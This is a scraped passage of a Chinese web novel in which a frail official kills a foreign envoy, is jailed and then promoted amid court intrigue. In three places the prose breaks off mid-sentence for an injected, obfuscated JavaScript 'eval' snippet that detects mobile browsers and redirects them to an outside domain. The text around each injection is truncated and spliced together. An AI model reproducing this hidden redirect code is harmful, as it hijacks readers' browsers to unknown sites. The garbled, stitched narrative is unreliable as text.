一路来到后院,使团此次带的礼物不轻不重,侯申清点很快,直至核对到最后几箱时,被一只大手阻拦。 使团领队粗声道:“这些是我们要用来进行交易的,不是贡品。” 侯申皱眉:“按律也要登记在册。” “一会儿就能看到了。”领队带着一行使者大步朝贸易区而去:“走,让你们见识一下乌戎的好东西。” 沿路贸易区的百姓都不愿触霉头,纷纷避让,后面的几个使者每两个抬着一口大箱子。 直至一处宽广的地界,使者挥手赶走原摊贩。 箱子重重落地,周围人又是畏惧又是厌恶又是好奇,全都离远了点观望。 确定上面铺着的都是一些比较正常的器具,场面逐渐轻松了点,一些人已经走近了几步。 待人聚集的变多,使者忽然露出一个意味不明的笑容,只见他亲自走到最后一个铁箱旁,猛地一把打开。 这一个大动作把人吓得不轻。 不过很快,众人就发现里面不是武器,反而是一些字画。 这比看到武器还惊异,众所周知,乌戎对文墨毫不感兴趣。 使者不再卖关子,直接用刚啃完羊腿的手摊开画卷,随着油渍的手一抖,哗啦一下,在场所有人的神情陡然难看无比。 那些画作里,有稚子被迫拿头颅酒杯朝乌戎首领敬酒,还有一副题名《斗鸡》,男子打扮成公鸡的样子,赤手空拳相搏,直至一方死亡。 “好看吗?”使者问。 容倦没有看仔细,单从冰山一角,也不难从周围人的面色中判断发生了什么。 历史都是血腥的,比如极其著名的X康之耻,兵败后连同太后在内等无数宗室子弟均被入画,白骨皑皑在纸上化为历史尘埃。 这也是他为什么一定要支持谢晏昼的原因。 谢晏昼未必是岳飞,但容承林一定是十个秦桧。 他日若乌戎推翻大梁,皇城可就变成了真炼狱,自己八成也要被炼成舍利子。 馆务从背景一角认出了地方,悲愤道:“是潼渊城。” 十年前,谢老将军猝然离世,朝廷让监军临时挂帅,导致军队连连败退,潼渊城沦陷。直至数年后,才被当时只有十几岁的谢晏昼领兵收回。 “乌戎有很多分支,这些惨案可和我们部落无关。近来乌戎统一,新王欲与大梁交好。” 使者说得是声情并茂,“潼渊还有不少流着我乌戎血脉的子嗣,大王想接走他们。” “岂有此理!”侯申脸都气红了,嘴皮子直哆嗦。 使者一个眼神,他终究还是没有说出第二句话。 谁也不愿成为一场战争的导火索,那太过沉重。 乌戎使者很满意众人这幅敢怒不敢言的样子,前些日子战败的郁气一扫而空。 他下意识又看了下容倦那漂亮的脸蛋。 可惜这位还和之前一样,没有像其他人一样气的脸红,不然还别有一番滋味。 侯申也不明白容倦为什么能忍住,仿佛什么都没有发生一样。 从走出来后,他自始至终都不发一言,偶尔还看看前后左右,不知道在想什么。 那是一种无法形容的冷漠感。 终于,容倦开口,却是说:“侯兄,上午的下直时间到了。” 冷漠都算好词了,这压根是冷血,不过侯申本就一刻都不愿意多待,“我去叫车架。” 乌戎一向会得寸进尺,看周围居然没有一个梁人敢冲上来理论,最后一点顾虑也没了。 他直接将部分画卷朝容倦的方向一扔,目光比喝酒时还下流。 “我听说大梁会把重要告示挂城门公栏上,你们也帮忙写一份!若寻找到我族血脉,新王会感谢各位的。” 画卷七零八落扔过来,有几个砸到了容倦这边。 旁边侯申被砸到中庭,听到有一名使者嘀咕两脚羊似的官员连画都接不住。 侯申终于忍不住,撸起袖子就想要冲过去。 身边,容倦单手拦住他,重复低语:“侯兄,该下直了。” 打架是最浪费时间的事情,往往打不出个结果,还会被各打三十大板。 所以他从来不打架。 侯申瞪过去一眼。 蛮人自傲,等不到回应,作势要自己去去城墙上贴。 “赶紧跟上,真出了事,你我第一个担责。” 亲眼看着乌戎的气焰嚣张到极致,在没有人站出来阻止后,使者最开始的一点顾虑警惕也没了。 这是最好的时候。 容倦原地弯腰,安静地把鸟笼放在一边,说着谁也听不懂的话:“一碗鱼汤。” 不知道能不能把今天费的力气补回来。 他得再给自己安排一个年假。 当容倦再起身时,那双向来像是睡不醒的眼睛里,睡意忽然消失了。 瞳仁里的光骤然冰冷,容倦稍稍活动了一下手腕,所有使者的动作,神态,方位,在他面前仿佛彻底变成一副静止的画。 此时使团首领已经迈步和他们擦身而过,再往前走就会出会馆区域,和那笑声一样洪亮的,是毫无预兆的抽刀声。 那把悬挂在硕壮腰间的佩刀,被主人以外的手抽了出来。 容倦抽刀的速度极快,乌黑色的刀柄和细弱白瘦的手腕完全不匹配。 他举起了屠刀。 先前乌戎使者高举臂膀拿画四处展示,间接给了他人一个完美夺兵器的机会。 容倦选择的时机极妙,后方的同伴要么在说话,要么处在一个不能及时救援的位置。他们就像是办画展一样,散的很开。 嗖的抽刀声刺破耳膜,乌戎领队面色剧变。他再顾不得画,躲闪第一下刺来利刃的同时,立刻就要反击。 左撇子。 这是先前观察到的,容倦提前几秒预判方向,身体朝安全方向避让。 拳风蹭着耳廓擦过,他轻声道: “口口。” 【正在临时抽调能量——】 【正在灌溉营养液——】 机械生命果断展开配合,临时透明离体。诡异的事情发生了,使者庞大的身躯像是被空气撞到,给他弹了回来。 惯性下,使者没站稳晃了下。 世界存在它本身的限制,系统自身能使用的力量相当有限,特别是在对付王侯将相上,纯粹的武力会被遏制到极致。 不过给容倦临时开一次‘防火墙’,还是很容易。 清楚最重要的一步只能自己来,容倦借着系统注入力量的胳膊,顺势捅向对方胸口。 “噗。”平日里毒的副作用被系统压制,系统强行灌溉力量后,容倦人一下就虚了。 这一幕出乎所有人的意料。 等他们反应过来的时候,行凶者已经很严谨地又对称刺了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370211|183225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刀,防止使者心脏长右边。 噗。 噗。 被刺的和刺的,容倦和使者,你一口我一口,面对面对着吐血。 容倦是累的。 使者是要死了。 乌戎领队只觉像是遭遇了鬼打墙,身体动不了,偏偏对面吐得血还比自己远,还快。他充斥不甘的眼珠快要瞪出来,想说什么,最后只能发出几个蹩脚的字符:“你……阍……” 使者想问他是不是疯了,奈何喉咙被血堵住。 容倦压根没给一个眼神。 官帽因为大幅度的动作落地,防止对方有传染病,刺中的瞬间,容倦均是紧闭双眼。 古怪的姿态令他看上去没有任何侠客风范,似不敢面对现实。 只有侯申离得近,当容倦抽回手时,他听到了那又轻又喘,让人害怕的声音—— “侯兄,这下可以下直了。” 侯申毛骨悚然。 直到使者领队倒地,尘土四溅间,众人终于后知后觉发生了什么。 现场骤然间乱作一团,眼看领队被杀,一个个使者暴怒而起,却被听到动静及时赶来的陶家兄弟阻止。 侯申强行回过神,用几分残存的定力对士兵喝道:“还不将行凶者拿下!” 维护会馆秩序的官兵立刻将容倦团团围住,他们十分默契,全是背对于容倦,像是一道厚实的城墙线,防备地看着乌戎人。 这下是真收不了场了。 侯申尽量把容倦往官兵中心处推了推,目眦欲裂:“你刚不是说只开个玩笑!” 容倦掏出帕子,不知道是在擦血还是咳血:“嗯,开大了点。” 杀都杀了,不然他道个歉,罚他两天不能回家就算了。 “……” 依照皇帝那软性子,此等大罪免死金牌都未必能保得住,侯申急得像是热锅上的蚂蚁,差点都要骂人了。 使团已经喊着要让他们杀人偿命。 “快,押走!”侯申无缝衔接下令。 使团毕竟人少,冲不过去,他们显然气急了,用回了本族语言。 侯申硬着头皮吼道:“这是大梁国土,若是梁人在乌戎部犯事,难道你们要运去万里外再追责吗?” 两方不断扯皮,容倦已经被押了出去,外面是更多赶过来的官兵。 为首者没有给他上枷锁,低声道:“兄弟,我敬你是条汉子。” 容倦靠在门上,明显走不动路,杀个人差点把自己累死了。 “能给汉子叫个车么?”他问。 马车肯定是不行,影响不好。 但一想到容倦那无畏的一刀,官兵说什么也要满足这个想法:“我来推你。” 大不了用推车。 有车坐就行,这身血污也不适合登上他美妙的貂皮小车。 容倦说了句辛苦,从容倚门小憩。 片刻后,他被搀扶上由摊贩自愿赞助,卖菜用的小推车。 远处街道上的百姓还不知道发生了什么。 见竟有官员满脸血污被推走,震惊中四处打听,其中有一道街道拐角负责观察的身影,更是片刻都不敢耽搁,直奔督办司的方向而去。 “大人呢?” “大人正在议事,非要务不得……” “快,帮我通传,出大事了!” 得到通允后,密探几乎是脚步不停地一路进入内室。 “大人,不好了!” 檀香缥缈的香味萦绕在室内,大督办正位于主桌旁和步三说话,被临时打断后,他坐下端起茶盏润嗓,静心等着后文。 下属第一时间说重点:“使团领队被杀了。” 步三神情一变。 大督办喝茶的手只是稍微缓了下,抬头:“隅中所为?” 隅中,是谢晏昼的字。 “和将军无关。” 大督办这才真正似有了几分兴趣,好像比起使者被杀,凶手本身才值得关注:“除了我这义子,现在京城内,还有谁敢这么做?” “也是您的子。”下属沉声道:“贵子容恒崧。” “……” 11.戴德 正在事无巨细汇报的还有陶家兄弟。 情况一得到控制,容倦被带走远离使团范畴后,两兄弟立刻赶往将军府。 谢晏昼初听后,判定是被害者的失误。 乌戎人精壮,体格天生要大些,被一个手无缚鸡之力的人刺死,不是他的错,难道还能是杀人者的错吗? “去把我们的人撤出来,知会馆务原计划取消。” 使团本就是要死人的,关系恶化好逼圣上下定决心。 当听到容倦有话带给自己时,谢晏昼微微颔首:“他终于把人情用在合适的地方。” 而不是换什么维修茅厕银钱。 陶勇迟疑了一下,面色怪异。 容倦的确有事相托,但并非让谢晏昼捞他出来,而是让自己带一句莫名其妙的话。 当他一脸疑惑地说完,却见谢晏昼原本没什么表情的面庞,明显有了些不同。 半晌,他目中似有笑意:“都说容承林一子是个废物,另一子却肖似其父,现在看来,真正继承他聪明的却是别人口中的废物。” 依照今上的软弱无能,纵然大庭广众下杀人,说不定都还存在能和解的可能。 所以他们不得不做最坏的准备,利用先前收到的一些风声,要先让皇后站队。 而容倦想要所行之事,和这个计划竟有八分相似。 陶勇解读错了他的意思,听到提起容承林,以为就是贬义。 他低头道:“将军,是乌戎使团欺人太甚,竟公然在……” “我自有安排。” 清楚皇帝很快会召他入宫,谢晏昼不欲多说,只交代陶勇:“让薛韧别忘了继续给容恒崧下药。” “……” 京城没有秘密。 只短短一会儿功夫,容倦杀人的事情已经传遍了大街小巷,现在全城上下无论是百姓,还是权贵几乎都在讨论使者被害一案。 不同于前一次容倦被冤入狱,大家抱着看戏心态,这次他们几乎全部站在容倦这边。 “乌戎使者以接回子民为由侮辱大梁,该杀!”有士子愤愤然。 读书人常在文馆相聚,普遍认为在场那么多官职人员,竟无一人敢呵斥使团,本就是一错。 否则事情断然不会闹到如此地步。 文人有顾忌,表达的比较含蓄。百姓们已经声浪滔天,这位容大人才刚刚入仕不久,被继母所害身中奇毒,明明极为虚弱却能手刃乌戎人,显然是愤怒到了极致,纷纷称赞其好胆。 另一边侯申已经从现场赶回礼部,站在原地面色还没缓过来。 想到容恒崧几次提到下直的事情,侯申懊恼地捶胸顿足。 孔大人正好从衙署走出来,他连忙脸色焦急地迎上前去,“大人!” 在孔大人的问询中,他三言两语将现场的事说了一遍。 “我没想到,我真没想到容恒崧居然会……现在该如何是好?” 孔大人相当于整个礼部的一把手,侯申只能向他求教:“大人您想想办法。” 堂堂大梁,总不能为了杀一个乌戎人偿命。 孔大人脸色由青转白,并未立刻开口斥责。他思虑片刻,久到侯申以为他都没办法时,向来持重的孔大人来回踱步一番,忽神情稍缓,“备车!” 门外,低级官吏最快速度备好车架。 马匹几乎是疾驰到了宫门口,大量官员正在宣政殿附近等候,焦灼陷入讨论。 他们发出的声音自然不可能一致,一边在申斥,另一边自然是驳回,整个大殿门口乱的形如闹市口。 孔大人视线搜寻一圈,准确找到了苏太傅。 正要过去,却见苏太傅正在和谁说话,待周围阻挡的身影散开,才发现大督办不知何时在那里,双方似乎达成了某种意向趋同,先后点了下头。 · 外面乱成一锅粥的时候,容倦才刚刚被交接到督办司手里,准备迎接安逸的好日子。 督办司的大牢日充斥着经年不散的血腥味,光是站在外面,都有种不见天日之感。 狱卒板着一张棺材脸,站在那里等待交接。 犯人移交完毕,狱卒命令手底下人:“还不去扒了他这身官服!” 禁闭室里,狱卒搬来一面屏风,里面放着一盆热水,屏风上搭着全新干净的囚衣。 官服上除了血浆,沾着拔剑时不小心削下来的肉沫,容倦一脸嫌恶,赶紧换上新衣裳。 牢房环境更是不错,这次容倦被安排到靠大门的豪华牢房,有窗,并不湿寒,甚至还有些闷热,床脚放置特制的冰桶,用以自然降温。 床榻并非草垫,躺上去也很舒服。 就是环境有些压抑。 容倦:“能摆两束鲜花吗?空气不太好。” 狱卒无情给牢门上锁,呵斥:“这里不是游玩的园林。” 一刻钟后,没有鲜花,但门口多出一尊巴掌大小的香炉,内里已经点燃,幽幽清香不绝,给对面牢里的犯人看呆了。 狱卒一走,扒在铁栏杆上问:“小兄弟,你是怎么做到的?” 督办司的大牢,连王公贵族都关过不少,谁来了不是掉层皮? 享受着vip服务,容倦无私分享成功经验:“在会馆杀个蛮人就行。” 那一剑,刺在乌戎的心脏上,也刺在了梁人的心巴上。 隔壁牢房眼珠子险些没掉下来。 拒绝过多聊天,容倦软绵绵地躺在床板上,他现在一动都不想动,虎口处在用剑时有些磨伤,火辣辣的。 换作平常这个时候,已经是下午上班的点。 “上班哪有坐牢舒服。”容倦美滋滋地准备睡午觉。 系统也想午睡。 【等等,睡醒我会不会搬家?】 它寄居在容倦大脑,万一对方被斩首,它会迎来乔迁之‘喜’。 容倦不答,早就开始泛迷糊,系统赶紧摇他脑筋。 【小容,你先前让那个武人带话回将军府,说以乌戎想要的亲事为离间计,是什么意思?】 【醒醒!一次任务失败,要用十次补回来。】 弄不好他们就是无期打工。 眼看不说明白休息不了,容倦无奈恹恹道:“死去的乌戎使者不重要,我也不重要,最终如何判决,只取决于皇帝对乌戎的态度。” 若求和,就会重判,反之轻拿轻放,说不好还会褒奖两句。 而摆平事情的关键,是让皇帝觉得风停了雨歇了他自己又行了。 “南乌戎和北乌戎部落统一,大梁也可以找盟友。” 【盟友?】 系统稍稍运行了一下AI。 【周边只有沿海的百胥族,但他们一直坐等渔翁之利。】 “只要让乌戎觉得联合就行。”容倦关爱弱势特殊群体,和系统这个成语都不会用的说话时,算是比较有耐心。 他语气平和:“使者不是嚷嚷着他们大王要娶公主?皇帝知道后肯定会考虑。” 讽刺的是,这是整件事里唯一能确认的地方。 “这个时候,如果有人提醒他,可以将公主嫁去百胥,又会如何?” 系统AI一卡。 片刻生成结果: 【皇帝酷爱弄权术,对外软弱,对内强硬,该结果有百分之八十的概率让他心动。】 【而乌戎大概率会担心百胥已和大梁交好,部落和沿海相隔万里,他们无法立刻求证什么。】 容倦慵懒翻了个身,背对阳光从铁窗刺进来的方向。 “只要皇帝选择这么做,必须摆出有恃无恐的态度,不会重罚于我。” 说话太多,容倦不得不起身低咳起来:“再有意外,那就用你制造些封建迷信。” 系统跟着容倦享福太久,险些忘了自己最会装神弄鬼了。 它突然有些可惜:【要是这次任务是记录和亲公主的资料就好了。】 他们很快就能结束工作。 “和不了。” 公主的婚事就是一块饼,皇帝只会用来画,不会立刻扔出去。 “这位陛下胆子足够小。”容倦淡淡道:“凡事都会留一手,不会立刻做绝。” 这种拉扯,现阶段对公主反而是一种保全。 待容倦终于咳舒服了点时,狱卒正好送来膳食。 六菜一汤,香味扑鼻,隔壁牢房的狱友都馋哭了。 容倦准备喝口汤压压:“这次过后,停职是难免的。咳咳……停职千秋万岁,咳,干杯。” 系统提醒:【下了。】 “?” 【这碗下了。】下了和将军府一样的补气解毒药。 容倦张了张嘴。 不是,他都进监狱了,谢晏昼怎么还追着药啊! · 皇宫。 皇帝被称为真龙天子,真不真龙不清楚,变脸如变天是真的。 当听到使者被害时,皇帝恨不得将容倦这个罪魁祸首千刀万剐了,召集重臣前,已经在妃嫔宫里发了好一番脾气。 高阶上,他俯视被急召而来的几位官员,看到容承林时,又提起了几分火气。 殿内一片沉寂。 皇帝声音冷硬到了极致:“一个个都哑巴了吗?容相,你养的好儿子!” 容承林出列,依旧保持着日常的冷静,但和他相熟的一派官员,都能感觉到容相要被自己养的逆子气疯了。 但见他不卑不亢道:“陛下,犬子犯下重罪,此刻定追悔莫及,求陛下让卑职去见他一趟,防止他再做什么傻事。” 周围的几位官员眼神交换,再看右相那绯色官服上的鹤,都蒙着幽幽色泽。 在官场上浸润多年,都不是蠢人。 慈父做派下,是暗示可以让亲儿子在狱中畏罪自杀,给乌戎人一个交代的潜台词,如此,免死金牌也不算帝王失约。 容相够狠啊。 孔大人不见日常在礼部时的和事佬做派,这时站出来,先是拿前朝曾有使团在京犯罪被坚决惩治,事迹得以被后世流传赞美为例,后又道: “陛下,乌戎才吃了败仗,还敢狂妄地重提潼渊城一事,万不可助长他们的风气,否则后世史书会如何撰写看待陛下?” 他精准戳到了皇帝虚伪又爱名声的点。 皇帝神情凝重,本来都要同意丞相的建议,这会儿又迟疑了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374913|183225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他陆续重新询问几位官员。 大家各抒己见后,不少官员余光偷瞄着谢晏昼,纳闷圣上为什么唯独跳过了谢将军。 皇帝并不想听谢晏昼的发言,想也知道对方会说什么。 还有一个原因,他面对谢晏昼时,总有种淡淡心虚,当年是自己刻意延误战机,间接导致其父重伤病死。 这孩子和他父亲太像了,如同一把利刃,藏不住的锐气。 甚至仅仅用了几年,谢晏昼已经成长得比他父亲更加优秀,若再给他增添军功,可不是好事。 想起先前有臣子提到乌戎欲要联姻,皇帝怒气稍缓后,开始兀自盘算。 好在昭荷婚配一事没成,既然无法用女儿让谢晏昼留京,可以给她换个更利于大梁的去处。 群臣左等右等,不料谢晏昼全程都未曾主动出列,反而是险与右相结亲的苏太傅站出来。 “陛下,若联姻,不如和百胥国建立外交。” 皇帝摩擦玉扳指的手指一顿。 百胥国处在沿海一带,善水战,这些年大梁和乌戎战火不断,他们一直虎视眈眈。 梁乃大国,主动联姻还带去嫁妆,百胥断不会拒绝。 容承林立时道:“陛下,此举易激怒乌戎……” 大督办轻飘飘打断:“陛下,臣也赞同。可先将亲事定下,为防公主思乡情重,让百胥承诺修建一小型宫室,届时再正式行嫁娶之礼。” 本还有几分迟疑的皇帝忽然笑了。 他听出了弦外之音,越品越觉得这主意好。 只要婚事没真正履行,乌戎定会三番四次争着娶公主,那百胥能乐意? 如此一来,乌戎必与百胥交恶。 “爱卿所言甚是,这样昭荷也能多陪在朕膝下一段时日。” 清楚皇帝已经做了决定,不会轻易更改,容承林没有主动找不快,冷冷站在一边。 一场凶案变成政治博弈,容倦在这个过程中被完美边缘化了。 有关对他的处置,大家其实心中已然有数,既然决定要给乌戎施压立威,圣上便不会责罚太过。 晚上,皇帝在观月阁左拥右抱,享乐纾解心情。 正是对月吟诗时,宫人汇报皇后来了。 皇帝没在意,眉宇间闪过一丝不耐烦。 不久,皇后进来了。她夜间仍旧穿戴得繁琐华丽,小心翼翼坐在帝王身边,等歌舞结束,方才柔声道:“陛下,昭荷那边妾已经劝好了。” 皇后爱女如命,皇帝本以为她是过来哭闹的,这会儿才终于正眼看她:“你舍得昭荷?” 皇后点头:“百胥国主只比昭荷大几岁,何况又不是立刻嫁过去,能为陛下分忧是她应该做的。” 皇帝大喜,一把搂住皇后。 当然不能立刻嫁,让乌戎和百胥交恶是其次,退一万步,假设乌戎联合后实力大涨,日后还可以将昭荷改许给乌戎。 似乎感觉到自己表现得太过明显,他轻咳一声:“朕会给昭荷备最丰厚的嫁妆。” 皇后内心一片冰凉和厌恶。 皇帝的态度已经让她浇灭最后一丝希冀,想到大督办的传话,彻底下定了某种决心。 皇后依偎在皇帝肩头:“那名刺死使者的少年,陛下准备如何处理?” “罢免官职即可。” 皇后轻声细语:“哎,蛮人记仇,恐怕会一直记着这件事,就像是他们求娶公主不成,定会反复表达不忿。” 说者‘无心’,听者有意。 皇帝松开胳膊,眼珠子一转,末了笑道:“怕什么?朕想好了,朕不罢他官职,还要给他升官。” 说着不怕,实则暗忖这样乌戎的仇恨会集中在这少年郎身上,三五年都忘不了。 同昭荷婚事一样,现在当做弃子还为时过早。 等到了万一之时,他们都是可以用来抛出去的棋子,用于熄灭蛮人怒火。 有了这左右后手,很长一段时间他可高枕无忧。 “对了,容相家的那孩子体弱……”可不能现在就咽气。 想到这里,皇帝大手一挥:“来人,传旨!容恒崧扬我国威,日后可享有特别优待,让太医私下为其看病,用药规准照公卿来。” 片刻后,皇后旁敲侧击下,皇帝觉得不够,又加拟了一道旨意。 不论何时,不论何地,圣旨使命必达。 隔天,容倦在大牢待的好好的,熟悉的长白眉太监带着圣旨而来:“恭喜啊,容大人。” 恭喜啥呢? 不等容倦反应,太监站定直接宣旨: “尔礼部员外郎容恒崧,有胆魄,知廉耻。” 好熟悉的作文开头! 容倦汗毛直立,一度想打断太监说话。 “……不拘小节叹为观止,特擢尔为礼部郎中。” 礼部郎中,正五品,中层官员,算是正儿八经的管理层。 容倦也叹为观止了,险些喷出一口血,第一次有些急切:“公公,陛下为何……” 知道他有一堆疑问,长白眉公公双手传递圣旨:“大人不必多问,感恩就行。” “……” 我感你个口口! 12.西苑 系统:【骂人不骂口,请尊重我的名字。】 容倦现在哪里还顾得上尊重它。 十天。 十天不到,直接官升一阶,再升下去,他就要升天了。 五品。 孔大人是怎么说的来着? 五品上会参与早朝,容倦的记忆力不是一般好,而是好到恐怖。 但这会儿,他竟然有些不确定了。 容倦看向长白眉太监,小心翼翼道:“公公,我从前不学无术,对官场不太了解,几品需要早朝?” 长白眉太监为他感到遗憾:“大人还需官升半阶。” 大梁没有五品半这种品级,但有一些职位处在四品和五品间,这种就需要早朝了。 容倦闻言像是半只脚从阎王殿前拉了回来。 五品就是今后他要恪守的底线。 不,死线! 不能有任何进步的空间。 看他一副豪情壮志的样子,长白眉太监好心再次提醒容倦要常怀感恩的心后,含笑离开。有了圣旨,没过一会儿,督办司立刻办妥手续放人。 容倦看着还没有住熟的牢房,悲伤之情溢于言表。 他才进来多久,酒店的退房时间都没这个早! 狱卒挂着常年冷硬的脸,真心说了句恭喜,满朝官员现在有血性的不多了,如此血气方刚……看容倦脸孔苍白,摇摇欲坠…… 呃,如此这般身残志坚的少年,才有资格入仕。 愿他能节节高升,不忘初心。 容倦压根不知道这份‘歹毒’的祝福,思绪压根不在这里,还回了承你吉言,便苦着脸往外走。 阳光从甬道入口瞬间照入,晒在薄薄的眼皮上。 容倦化身诗人:“夏日骄阳,我心中却不见天日。” 语毕眨巴一下眼的瞬间,不远处,一辆马车停靠在长杆下,上面坐着一道完全意想不到的身影。 容倦揉揉眼,确定没看错。 他有些迟疑地走过去:“谢将军?” 谢晏昼微微点头。 “上车。” 容倦这次相当果断。 他来是坐推车来的,回去的时候正愁没有车接,原本都考虑让系统推车了。 容倦找了一个着力点,稍微动作一下呼吸声都重了些。 昨天杀人用力过度了。 看出他有些吃力,谢晏昼伸出手拉了一把。 温凉,消瘦,连指骨都比平常人细很多,很难想象这只手的主人,才杀完一个剽悍的乌戎人。 容倦坐稳后,随意把圣旨放在一边,看不出丝毫尊重的意思。 他一贯不动脑子,很坦诚地说出困惑:“不停职就算了,为何会给我升官?” 谢晏昼视线扫过白皙掌下的明黄色,冷笑一声。 这冷意不是冲着容倦而来,而是一桩往事。 “先皇年轻时倒还有几分硬气,曾亲自率兵出征,然错误指挥不幸被俘。乌戎要求当时主战的三位大臣自杀,方才放先帝归来。” 谢晏昼眯了眯眼:“这件事大概给当时还年幼的陛下留下阴影……和一些不切实际的幻想。” 说到最后一句话的时候,他唇边的笑意反而加深了,眸底却冰凉一片。 容倦无意识地握紧了一下圣旨,刚那一瞬间,他清楚看到了谢晏昼眼中的屠龙意。 与此同时,谢晏昼也在看着容倦。 若是一个普通纨绔,这会儿早就吓到不行,但对方却反应不大。 “原来根源在这里。” 无视对面那份侵略感十足的探究,容倦内心直骂皇帝狗胆。 一个王朝并非一朝一夕崩塌。 和先皇一脉相传,军队才大捷,仅仅因为南北乌戎合一,皇帝竟然就在想着日后输了怎么办。 臣子祭天,法力无边。 他想关键时候把自己丢出去平息乌戎怒火。 ——“老不死的,脑子有病吧。” 大逆不道的辱骂言论自下而上在耳边响起。 谢晏昼一愣,再看容倦嘴不动,小肚子动了下,佯装若无其事端坐在那里。 他沉默地侧过脸。 须臾,双方都没忍住,不约而同笑了起来。 马夫听着将军少有的笑声,打了个寒颤,上次这么笑还是在砍了乌戎南部落一个首领脑袋的时候,这次又是要砍谁? 上有政策下有对策,赶上了升官这件倒霉事,容倦不得不面对现实,尽可能积极对抗。 他选择采用最朴素的手段:请病假。 官员告病要请太医核实诊断,太医接到通知后,习惯性先跑去了相府,郑婉本以为是皇帝终于想起了她因为平定谋反受伤的儿子,特意派太医来诊治,激动的眼泪都快要掉下来。 结果太医刚被请进去,一拍脑门:“忘了,容大人现在借住将军府。” 慌忙说着抱歉又离开了。 一句容大人的称呼,彻底让郑婉破防。 她迫不及待找到容承林,说了刚刚发生的事情。 “那孩子不是因为杀了使者被抓,怎么还有太医来医治?” 说完意识到自己口吻有些不对,正想要补救,却瞧见自己的夫君似乎没有注意到这点,而是在想别的事情。 转念一想,夫君一贯主和,容恒崧先是号召捐献得罪了不少官场上的人,现在又肆无忌惮。 不满的应该不止自己一个。 “夫君,”郑婉轻靠着容承林,绵里藏针道,“崧儿一直不回来,听说此次大督办还为他说情,长此以往,迟早与家里离心啊。” 离心之人,谁知道哪天会不会反刺他们? 甚至现在不管是有意还是无意,他已经在这么做了。 容承林长身立在院中,岁过中年仍显清俊的面庞上看不出什么表情。 直至阳光偏移几寸,他语气阴沉沉的:“再过几日,我会同他谈谈。” …… “弹弹弹,弹走鱼尾纹。” 一连称病休息数天,容倦用晚膳时心情开阔:“不用起早贪黑,眼角的细纹都少了。” 官员长时间请假会被罢免,他准备走一下这条赛道。 strong哥隔空模仿容倦的动作,爪子对着鸟笼一蹬一蹬。 厅堂内就像请了一支跨时空的交响乐队,叮铃哐当的。 奇怪的是,最讨厌闹腾的谢晏昼,面对这种喧闹,并不觉得烦躁。 等一人一鸟闹腾够,谢晏昼才说出噩耗:“陛下明日要在西苑举办马球赛,五品及以上的官员必须出席,不得告假。” 容倦笑容瞬间凝固:“哪个天杀的,成日以五品为线?” 就不能是四品三品? 见他一副天塌了的样子,谢晏昼算是安慰了一句:“礼部特殊,七品上都要参与。” 是你的,就注定是你的。 “……” 不过很快,谢晏昼倒说了一个不错的消息:“乌戎使团也要参加,陛下不会无事让你入内场。” 宫中更不会平白无故举行马球赛,最近得知杀人凶手被放出来,乌戎使团怒极之下准备返程告状。 皇帝却以五百匹战马为赌注,欲要进行马球赛,乌戎本就是靠马发家,很难拒绝这样的赛事。 俗话说,一鼓作气再而衰三而竭。 皇帝命令谢晏昼务必要在马球赛上一扫乌戎锐气,再让乌戎‘不经意间’知晓联姻一事,如此便可顺利消磨对方嚣张的气焰。 容倦遇事只抓重点。 他对外交博弈完全不感兴趣。 “原来是这样。”那就是说自己在外围摸个鱼就行? 车接车送,还能顺带浏览一下皇家园林的风光,原来是美事啊。最重要的是,还能换个伙食。 两人正在用晚膳,前几天太医过来,又开了一堆药膳,现在旁边还放着一盆死不瞑目的甲鱼汤。 他果断推给谢晏昼:“多谢将军此次捞我出来,这碗敬你。” 甲鱼补肾汤,敬人先敬肾。 谢晏昼不爱吃长相古怪的东西,推回道:“脱身之计是你自己想的,剩下是义父出面,托苏太傅在陛下面前献言。” 容倦:“那我喝汤,将军承包甲鱼。” 这碗药膳里还放了很多珍贵药材,浪费有点可惜了。 谢晏昼冷静道:“汤一式二份,甲鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我知你心中有怨。”一到遮人耳目的亭子里,容承林便负手而立,背对他望着远处忽明忽暗的光影树荫。 容倦不说话。 横亘在塑料父子俩之间的沉默,比山崖罡风还要烈性。 最终,还是容承林再次打破沉默。 “如今你对为官之道已了解一二。你的外祖父当初乃有实权的亲王,若我不疏远你母亲,我们一家焉有好日子过?” 原身外祖父乃是北阳王,骁勇善战。 陛下登基来,已经处死了不止一位亲王,容承林清楚那位岳父如今也不过是苟延残喘。 “甚至你闯下弥天大祸时,我自作主张将你兄长想要定下的姻缘,牵在你身上,为此还得罪了苏太傅。” 身后久久没有回应,以为是容倦被说动纠结,容承林转过身,却见少年早就坐下,目无尊长打着呵欠。 他顿时目光一沉。 对面那双眼睛里,有朦胧泪光,不过不是被感动的,而是困的。 “得罪苏太傅,是因为您不知道我命不久矣。”容倦抬眸望去,做着纠正。 这还是最光明的想法,若是阴暗点,故意让那位苏小姐变成寡妇,过两年再主动开口,让她另嫁,端出一副容人之态。 感动天感动地感动苏太傅。 不过这些终归只是一些阴谋论的猜想。 